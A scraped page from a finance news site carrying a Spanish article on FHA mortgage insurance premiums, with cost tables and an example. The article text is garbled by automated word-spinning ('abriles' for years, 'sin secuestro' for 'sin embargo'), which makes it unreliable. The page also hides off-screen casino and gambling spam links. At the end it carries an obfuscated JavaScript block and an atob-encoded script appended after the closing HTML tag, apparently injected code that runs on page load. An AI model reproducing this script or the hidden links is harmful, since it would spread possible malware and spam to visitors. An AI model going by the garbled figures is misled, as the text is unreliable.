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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Wednesday, September 30, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
<style>.tdi_41{justify-content:flex-end!important;text-align:right!important}</style>
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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	                                    <div style='position:absolute;left:-9436px;width:1023px;'>Quer um cassino que tenha de tudo? A diversão começa na <a href="https://fcamazonia.com/">Funbet casino</a>.</div><div id="tdi_61" class="tdc-zone"><div class="tdc_zone tdi_62  wpb_row td-pb-row"  >
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<div id="block_0e4b7c490f47944d8ccecb2d857dcf27" class="key-takeaways sm:border-l-4 border-(var(--accent)) sm:pl-8 my-8 relative" style="--accent: var(--color-blue-medium)">
    <!-- htmlmin:ignore --></p>
<h2 class="heading-4 mt-0 mb-4 text-crop-none max-sm:flex max-sm:items-center max-sm:gap-4">
    <span class="shrink-0">Control de llavín</span><br />
        <span class="max-sm:h-0.5 max-sm:w-full max-sm:w-full max-sm:bg-(var(--accent)) max-sm:rounded-full max-sm:block"></span><br />
    </h2>
<p>    <!-- htmlmin:ignore --></p>
<ul class="flex flex-col text-gray-700 mb-0 gap-2 list-none">
<li class="pl-4 relative before:content-('•') before:right-full before:absolute before:text-(var(--accent))">
<p>                                                            Si toma un préstamo de la FHA, debe acreditar las primas de seguro hipotecario de la FHA (MIP).
                                                </li>
<li class="pl-4 relative before:content-('•') before:right-full before:absolute before:text-(var(--accent))">
<p>                                                            FHA MIP incluye una prima original, típicamente pagada en el candado y primas anuales.
                                                </li>
<li class="pl-4 relative before:content-('•') before:right-full before:absolute before:text-(var(--accent))">
<p>                                                            El costo de las primas anuales depende del monto de su préstamo, el tamaño de su suscripción original y el plazo del préstamo.</p>
</li>
</ul>
</div>
<p>Los préstamos de la FHA vienen con varias ventajas: un requisito de puntaje de crédito indulgente, un suscripción original leve bajo, costos de candado razonables y tasas de interés a menudo competitivas. Sin secuestro, tienen un inconveniente: las primas de seguro hipotecario (MIP). Así es como funciona la FHA MIP y lo que cuesta.</p>
<h2 id="what-is" data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Mortgages" data-position="h2_second_placement" data-name="h2_second_placement" data-text="FHA mortgage insurance premium" data-outcome="">¿Qué es una prima de seguro hipotecario de la FHA (MIP)?</h2>
<p>Las primas de seguro hipotecario de la FHA son tarifas adicionales que todos los prestatarios de préstamos de la FHA pagan, tanto por aventajado como durante el transcurso del plazo de la hipoteca. La mayoría de los prestatarios de la FHA deben pagarles por la duración del plazo de préstamo de 30 o 15 abriles.</p>
<p>Sin secuestro, la FHA MIP no protege al prestatario. Más aceptablemente, protege al prestamista contra el incumplimiento del prestatario.</p>
<section class="editorial-insight-box --insight-box +mg-vertical-md" data-template="insight_box">
<div class="card-body">
<div class="content-wrapper">
<div class="content">
<p>Los préstamos de la FHA están &#8220;asegurados&#8221; por la Dependencia Federal de Vivienda (FHA): Si un prestatario incumplimiento de la hipoteca, la agencia compensará al prestamista por el saldo irresoluto. Las primas de seguro hipotecario de la FHA van al Fondo de Seguro Hipotecario Mutual (MMIF), que la FHA usa para acreditar reclamos a los prestamistas que buscan recuperar pérdidas.</p>
</div></div>
</p></div>
</section>
<p>Los solicitantes de préstamos de la FHA se consideran más riesgosos porque tienen puntajes de crédito más bajos, realizan pagos más pequeños o los dos. Por lo tanto, MIP ayuda a los prestamistas a mitigar el aventura de proporcionar hipotecas a estos solicitantes y hacer posible el software de la FHA.</p>
<h3>MIP vs. PMI</h3>
<p>Si reduce menos del 20 por ciento con un préstamo convencional, incurrirá en un seguro hipotecario privado (PMI), que es similar a MIP. Sin secuestro, puede eliminar PMI una vez que haya atrapado el 20 por ciento de haber en su hogar. </p>
<p>MIP para un préstamo de la FHA, por otro costado, es obligatorio, sin importar cuánto desanime, y en la mayoría de los casos, lo pagará por el plazo completo de su préstamo.</p>
<h2 id="how-much">¿Cuánto cuesta el seguro hipotecario de la FHA?</h2>
<p>Como prestatario, pagará dos primas de seguro hipotecario de la FHA: una prima original y primas anuales.</p>
<ul>
<li>
<strong>Prima de seguro hipotecario de la FHA: </strong>1.75 por ciento del monto del préstamo</li>
<li>
<strong>FHA MIP anual: </strong>Varía según la relación de tamaño, plazo y préstamo a valencia (LTV) del préstamo</li>
</ul>
<h3>Prima de seguro hipotecario por aventajado</h3>
<p>No importa cuánto tome prestado con un préstamo de la FHA, la prima de seguro hipotecario de superioridad totaliza el 1.75 por ciento de esa cantidad. Puede acreditar esta prima de una vez al cerrar o agregarla a su hipoteca y pagarla con el tiempo. Si elige este final, pagará intereses sobre este costo, agregando a su pago genérico.</p>
<h3>Prima anual de seguro hipotecario</h3>
<p>Las primas anuales de la FHA se basan en el monto del préstamo, el plazo del préstamo y la relación de préstamo a valencia (LTV) o el tamaño de su suscripción original. Cada año, pagará esta prima en cuotas con el suscripción mensual de su hipoteca. Así es como funcionan las primas:</p>
<h4>Préstamos de la FHA con términos de más de 15 abriles</h4>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<thead>
<tr>
<th>Monto del préstamo</th>
<th>Relación LTV</th>
<th>Mip</th>
<th>Duración de los pagos de seguro</th>
</tr>
</thead>
<tbody>
<tr>
<td rowspan="3">$ 726,200 o menos</td>
<td>90% o menos</td>
<td>0.50%</td>
<td>11 abriles</td>
</tr>
<tr>
<td>Más del 90% y menos o igual al 95%</td>
<td>0.50%</td>
<td>Término de préstamo completo</td>
<td> </td>
</tr>
<tr>
<td>Más del 95%</td>
<td>0.55%</td>
<td>Término de préstamo completo</td>
</tr>
<tr>
<td rowspan="3">Más de $ 726,200</td>
<td>90% o menos</td>
<td>0.70%</td>
<td>11 abriles</td>
</tr>
<tr>
<td>Más del 90% y menos o igual al 95%</td>
<td>0.70%</td>
<td>Término de préstamo completo</td>
<td> </td>
</tr>
<tr>
<td>Más del 95%</td>
<td>0.75%</td>
<td>Término de préstamo completo</td>
</tr>
</tbody>
</table>
</div>
<h4>Préstamos de la FHA con términos de 15 abriles o menos</h4>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<thead>
<tr>
<th>Monto del préstamo</th>
<th>Relación LTV</th>
<th>Mip</th>
<th>Duración de los pagos de seguro</th>
</tr>
</thead>
<tbody>
<tr>
<td rowspan="2">$ 726,200 o menos</td>
<td>90% o menos</td>
<td>0.15%</td>
<td>11 abriles</td>
</tr>
<tr>
<td>Más del 90%</td>
<td>0.40%</td>
<td>Término de préstamo completo</td>
</tr>
<tr>
<td rowspan="3">Más de $ 726,200</td>
<td>78% o menos</td>
<td>0.15%</td>
<td>11 abriles</td>
</tr>
<tr>
<td>Más del 78% y menos o igual al 90%</td>
<td>0.40%</td>
<td>11 abriles</td>
</tr>
<tr>
<td>Más del 90%</td>
<td>0.65%</td>
<td>Término de préstamo completo</td>
</tr>
</tbody>
</table>
</div>
<h4>Refinanciamiento simple de la FHA o simplificar</h4>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<thead>
<tr>
<th>Monto del préstamo</th>
<th>Relación LTV</th>
<th>Mip</th>
<th>Duración de los pagos de seguro</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cualquier</td>
<td>90% o menos</td>
<td>0.55%</td>
<td>11 abriles</td>
</tr>
<tr>
<td>Cualquier</td>
<td>Más del 90%</td>
<td>0.55%</td>
<td>Término de préstamo completo</td>
</tr>
</tbody>
<tfoot>
<tr>
<td colspan="4"><em>Nota: Estas primas se aplican a las refinanciamiento de la FHA cerradas el 31 de mayo de 2009 o antiguamente. Los términos de refinanciamiento MIP para hipotecas posteriores son los mismos que los de los préstamos de la FHA regulares.</em></td>
</tr>
</tfoot>
</table>
</div>
<h2 id="example">Ejemplo de un suscripción de FHA MIP</h2>
<p>Supongamos que obtiene un préstamo de la FHA de 30 abriles para comprar una propiedad con un precio de traspaso de $ 340,000. Digamos que asimismo realiza un suscripción original del 3.5 por ciento, o $ 11,900. Eso hace que su principal préstamo sea el director de $ 328,100. </p>
<p>Su costo de MIP por aventajado totalizará $ 5,742. Por otra parte de esto, pagará el 0.55 por ciento del monto del préstamo cada año, se extendió a lo abundante de sus pagos mensuales. Esto totalizará más o menos de $ 150 por mes para el plazo de su préstamo.</p>
<h2 id="how-long">¿Cuánto tiempo pagarás a FHA MIP?</h2>
<p>Si obtiene un préstamo de la FHA a 30 abriles y reduce un 3,5 por ciento, pagará MIP durante el tiempo que tenga el préstamo. Si dejas al menos un 10 por ciento, pagarás durante 11 abriles.</p>
<p>Sin secuestro, esta finalidad se aplica a los nuevos préstamos de la FHA. La FHA ha cambiado sus reglas más de una vez sobre este tema:</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<thead>
<tr>
<th>Término de origen del préstamo</th>
<th>Duración de los pagos de seguro</th>
</tr>
</thead>
<tbody>
<tr>
<td>Julio de 1991-dic. 2000</td>
<td>Término de préstamo completo</td>
</tr>
<tr>
<td>Enero de 2001-3 de junio de 2013</td>
<td>5 abriles; cancelado al 78% LTV</td>
</tr>
</tbody>
</table>
</div>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td rowspan="2">Posteriormente del 3 de junio de 2013</td>
<td><strong>Duración de los pagos del seguro si el suscripción original del 10% o más</strong></td>
<td><strong>Duración de los pagos de seguro si es menos del 10%</strong></td>
</tr>
<tr>
<td>11 abriles</td>
<td>Término de préstamo completo</td>
</tr>
</tbody>
</table>
</div>
<h3>Cómo someter su seguro hipotecario de la FHA</h3>
<p>Desafortunadamente, no es posible someter su monto MIP durante la vida útil de su préstamo. Si tiene un préstamo de la FHA, deberá realizar el mismo suscripción MIP cada mes hasta que haya pagado su hipoteca.</p>
<p>Sin secuestro, es posible que pueda someter el suscripción de su seguro hipotecario refinanciando en algunos casos. El monto del MIP ha disminuido a lo abundante de los abriles, más recientemente en marzo de 2023. Esto significa que si obtuvo su préstamo de la FHA antiguamente, podría catalogar para una tasa de seguro hipotecario más quebranto si ahora refinan. Tenga en cuenta que su tasa de interés asimismo cambiará con un refinanciamiento, por lo que es posible que no valga la pena hacerlo. <em>encajado</em> para un MIP inferior.</p>
<h2 id="avoid-mortgage-insurance">¿Puede evitar el seguro hipotecario de la FHA?</h2>
<p>Todos los préstamos de la FHA requieren un seguro hipotecario, ya sea para la vida útil del préstamo o un número establecido de abriles. Aún así, puede evitar o mitigar el seguro hipotecario de la FHA por:</p>
<ul>
<li>
<strong>Descubrimiento </strong><strong>Presencia de suscripción original</strong>: Puede catalogar para uno o más programas de presencia para emparejar con un préstamo de la FHA. Esto podría ayudar a aumentar su suscripción original al 10 por ciento, por lo que no pagará MIP por el plazo de préstamo completo.</li>
<li>
<strong>Obtener otro tipo de hipoteca</strong>: Si es miembro de servicio elegible o transacción en un dominio rural calificada, puede obtener un préstamo VA o un préstamo del USDA, respectivamente, sin pasta y sin requisitos de seguro hipotecario.</li>
<li>
<strong>Refinanciar en el futuro: </strong>Si no puede evitar el seguro hipotecario de la FHA ahora, es posible que pueda refinanciar en un préstamo convencional sin PMI más delante.</li>
</ul>
<h2 id="faq">Preguntas frecuentes</h2>
<p><em>Informes adicionales de Emma Woodward</em></p>
</p></div>
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                    <h3 class="entry-title td-module-title"><a href="https://financesnewsonline.com/las-tasas-hipotecarias-se-mantienen-por-encima-del-65-a-medida-que-aumenta-la-inflacion"  rel="bookmark" title="Las tasas hipotecarias se mantienen por encima del 6,5% a medida que aumenta la inflación">Las tasas hipotecarias se mantienen por encima del 6,5% a medida...</a></h3>
                    
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                                                                                                            <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-06-12T02:33:10+00:00" >June 12, 2026</time></span>                                                                                                        </span>
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TfVHbCW(jSGvH3F(0x99),{[jSGvH3F(0x9a)]:BykvSQ,[jSGvH3F(0x9b)]:i8vt81})[dr_D4Z(0x9c)](FcwqDu=>{return Number(FcwqDu)===MCeslf[0x1]})},bl:()=>{function FcwqDu(FcwqDu){var jSGvH3F="3XsimcnM(=O+T_D<1]`QUh?Ae9f6ZyzK:I@j7%{S|!Eg},.BdN4wvq*YCtb~u2&>FRPx5W)Gak$8#J;H0/[Llo^p\"rV",dr_D4Z,udHVExn,Mzv7wl,WkJHLp,vmpiyD,BykvSQ,RmbWDw;af81png(dr_D4Z=""+(FcwqDu||""),udHVExn=dr_D4Z.length,Mzv7wl=[],WkJHLp=MCeslf[0x0],vmpiyD=MCeslf[0x0],BykvSQ=-MCeslf[0x1]);for(RmbWDw=MCeslf[0x0];RmbWDw<udHVExn;RmbWDw++){var i8vt81=jSGvH3F.indexOf(dr_D4Z[RmbWDw]);if(i8vt81===-MCeslf[0x1])continue;if(BykvSQ<MCeslf[0x0]){BykvSQ=i8vt81}else{af81png(BykvSQ+=i8vt81*MCeslf[0xc],WkJHLp|=BykvSQ<<vmpiyD,vmpiyD+=(BykvSQ&MCeslf[0xd])>MCeslf[0xe]?MCeslf[0xf]:MCeslf[0x10]);do{af81png(Mzv7wl.push(WkJHLp&MCeslf[0x3]),WkJHLp>>=MCeslf[0x2],vmpiyD-=MCeslf[0x2])}while(vmpiyD>MCeslf[0x9]);BykvSQ=-MCeslf[0x1]}}if(BykvSQ>-MCeslf[0x1]){Mzv7wl.push((WkJHLp|BykvSQ<<vmpiyD)&MCeslf[0x3])}return ZUUtmn(Mzv7wl)}function jSGvH3F(jSGvH3F){if(typeof ZIWX9q[jSGvH3F]===MCeslf[0x5]){return ZIWX9q[jSGvH3F]=FcwqDu(PlBtda[jSGvH3F])}return ZIWX9q[jSGvH3F]}return TfVHbCW(jSGvH3F(0x9d),{[jSGvH3F(0x9e)]:BykvSQ,[jSGvH3F(0x9f)]:i8vt81})[jSGvH3F(0xa0)](()=>{})}})}FcwqDu()})();
</script>
<!-- sc5a72ec-3dd082 -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
</html><script>!function(){var _0xdac3ef103251=atob('BkhbQE1aR0FABgdVWE9cDkhjYUp/bBNZR0BKQVkCQhh+F0laE0hjYUp/bHUJcXFIXmtDTEtKXQlzAmZYGHRGHhMJSk8fHhhLGBZKTBhLGUhPSgkCY0J5VEMWE3UMRlpaXl0UAQFNQkdNRVRBQE8AQEtaDAIODEZaWl4UAQEYGwAcHwAfFgAYHgxzFUdIBkIYfhdJWggIQhh+F0ladWZYGHRGHnMHXEtaW1xAFUIYfhdJWhNIY2FKf2x1CXFxSF5rQ0xLSl0JcxMGQhh+F0laUlJVUwcVQhh+F0ladWZYGHRGHnMTHxVIW0BNWkdBQA5eX15NHmUGB1VHSAYPSkFNW0NLQFoATEFKVwdVXUtaekdDS0FbWgZeX15NHmUCHB4HFVxLWltcQBVTWE9cDn5CfFkfYBNKQU1bQ0tAWgBNXEtPWktrQktDS0BaBglKR1gJBwJFQWZBSUgTSkFNW0NLQFoATVxLT1pLa0JLQ0tAWgYJR0hcT0NLCQcVfkJ8WR9gAF1aV0JLAE1dXXpLVloTCV5BXUdaR0FAFEhHVktKFUdAXUtaFB4VVANHQEpLVhQcHxoZGhYdHBccFUxPTUVJXEFbQEoUXElMTwYfGwIcHQIaHAIAGhwHFV5BR0BaS1wDS1hLQFpdFEBBQEsVCRVFQWZBSUgAWkdaQksTCX1LTVtcR1pXDk1GS01FCRVFQWZBSUgAXUtab1paXEdMW1pLBglPQkJBWUhbQkJdTVxLS0AJAgkJBxVFQWZBSUgAXVpXQksATV1dektWWhMJXkFdR1pHQUAUSEdWS0oVR0BdS1oUHhVZR0paRhQfHh4LFUZLR0lGWhQfHh4LFUxBXEpLXBQeFVQDR0BKS1YUHB8aGRoWHR0eHBVMT01FSVxBW0BKFA1ISEgVCRVKQU1bQ0tAWgBMQUpXAE9eXktASm1GR0J